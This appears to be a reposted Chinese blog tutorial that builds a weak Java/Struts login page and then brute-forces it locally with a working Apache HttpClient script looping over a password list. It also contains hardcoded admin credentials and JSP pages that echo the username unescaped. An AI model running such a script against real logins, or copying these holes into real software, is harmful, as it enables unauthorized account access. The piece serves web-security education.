看好你的门-验证机制被攻击(2)-JAVA蛮力攻击登陆

来源:互联网 发布:什么是淘宝店铺托管 编辑:程序博客网 时间:2024/05/17 05:00

首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考。

1、 简单说明

攻城的时候,城门总是最容易被攻破的地方。
而登陆功能的公开性,让无数的攻击者都试图猜测用户名和密码,从而获得未授权访问系统的权利。
这种攻击几乎无处不在,有系统的攻击,也有无聊人士的攻击,设置一些搞错了用户名用户的无聊尝试。

2、 前提和准备

我们首先需要有一个弱密码的系统,这样才可以去尝试蛮力攻击。
不要用这种方法去攻击第三方的应用,这是不道德和不友好的行为。分享这种方法,主要是因为这种攻击过于普遍,如果系统所有者和开发者不重视这个问题,很有可能辛辛苦苦做的系统,别人攻破。

3、 准备用的系统的登陆页面

<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>阿饭同学的测试</title></head><body>    <form action="aEasyLogin.action" method="post" name="form1">        <table width="392" border="1">            <tr>                <td height="35"><br>                    <div align="center">                        <p>用户名:<input type="text" name="username" size=16 ></p>                        <p>密码: <input type="password" name="password" size=16 > </p>                    </div></td>            </tr>            <tr align="center">                <td colspan="2" bgcolor="#FFCCFF"><input type="submit"                    value="登陆" /></td>            </tr>        </table>    </form></body></html>

4、 模拟登陆验证的JAVA代码

package com.safe;import javax.servlet.http.HttpServletRequest;import org.apache.commons.lang.xwork.StringUtils;import org.apache.struts2.ServletActionContext;import com.opensymphony.xwork2.ActionSupport;public class EasyLoginAction extends ActionSupport {    private static final long serialVersionUID = 1931829246016041219L;    public String execute() throws Exception {        HttpServletRequest request = ServletActionContext.getRequest();        String username = request.getParameter("username");        String password = request.getParameter("password");        request.setAttribute("username", username);        // 用户名和密码如果有一个为空,返回失败        if (StringUtils.isBlank(username) || StringUtils.isBlank(password)) {            return "false";        }        //简单假设一个用户名和密码:admin,密码:qwert        if(username.equals("admin") && password.equals("qwert")){            return "success";        }else{            return "false";        }    }}

5、 登陆成功的jsp页面

<%@ page language="java" import="java.util.*,javax.servlet.http.*" pageEncoding="UTF-8"%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>  <head>    <title>看好你的门 - 阿饭同学</title>  </head>  <body>    登陆成功,欢迎来自<%=(String)request.getRemoteAddr()%> 的:<%=(String)request.getAttribute("username")%>     </body></html>

6、 登陆不成功的页面

<%@ page language="java" import="java.util.*,javax.servlet.http.*" pageEncoding="UTF-8"%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>  <head>    <title>看好你的门 - 阿饭同学 </title>  </head>  <body>    <%=(String)request.getAttribute("username")%> , 登陆不成功,请检查您的密码。   </body></html>

7、 JAVA蛮力攻击登陆的代码

package com.safe;import java.util.ArrayList;import java.util.List;import org.apache.http.HttpEntity;import org.apache.http.NameValuePair;import org.apache.http.client.entity.UrlEncodedFormEntity;import org.apache.http.client.methods.CloseableHttpResponse;import org.apache.http.client.methods.HttpPost;import org.apache.http.impl.client.CloseableHttpClient;import org.apache.http.impl.client.HttpClients;import org.apache.http.message.BasicNameValuePair;import org.apache.http.util.EntityUtils;/** * 用httpClient 模拟暴力攻击登陆,仅供用于WEB安全防范示例。 *  * @author 范芳铭 */public class EasyAttackLogin {    //常用密码列表,仅用于示例    static String[] passwords = {"123","qwert"};    //已经获取了用户名,假设这个信息我们已经知道    static String username = "admin";    public static void main(String[] args) throws Exception {        CloseableHttpClient httpclient = HttpClients.createDefault();        try {            //模拟用户登录            HttpPost httpPost = new HttpPost("http://127.0.0.1:8080/webStudy/aEasyLogin.action");            EasyAttackLogin attack = new EasyAttackLogin();            for(int i = 0 ; i < passwords.length ;i++){                attack.getLogin(httpclient,httpPost,passwords[i]);            }        } finally {            httpclient.close();        }    }    public boolean getLogin(CloseableHttpClient httpclient,HttpPost httpPost,String pass) throws Exception{        boolean flag = false;        List <NameValuePair> nvps = new ArrayList <NameValuePair>();        nvps.add(new BasicNameValuePair("username", username));//用户名对应的key        nvps.add(new BasicNameValuePair("password", pass));//密码对应的key        httpPost.setEntity(new UrlEncodedFormEntity(nvps));        CloseableHttpResponse response = httpclient.execute(httpPost);        try {            System.out.println(response.getStatusLine());            HttpEntity entity = response.getEntity();            String content = EntityUtils.toString(entity);            //登陆成功的页面有这个关键词,需要观察后得出            if (content.indexOf("登陆成功") > 0 ){                System.out.println("密码暴力破解成功,用户admin的密码为:" + pass);                flag = true;            }            EntityUtils.consume(entity);        } finally {            response.close();        }        return flag;    }}

运行结果
HTTP/1.1 200 OK
HTTP/1.1 200 OK
密码暴力破解成功,用户admin的密码为:qwert

8、 无处不在的安全隐患

1、 在所有的可能性中,密码被攻击,是最常见的行为;
2、 现代的PC的硬件和网络条件,让暴力攻击登陆成为一件很稀松平常的事情;
3、 不要尝试去攻击别人,这很不友好。

1 0
原创粉丝点击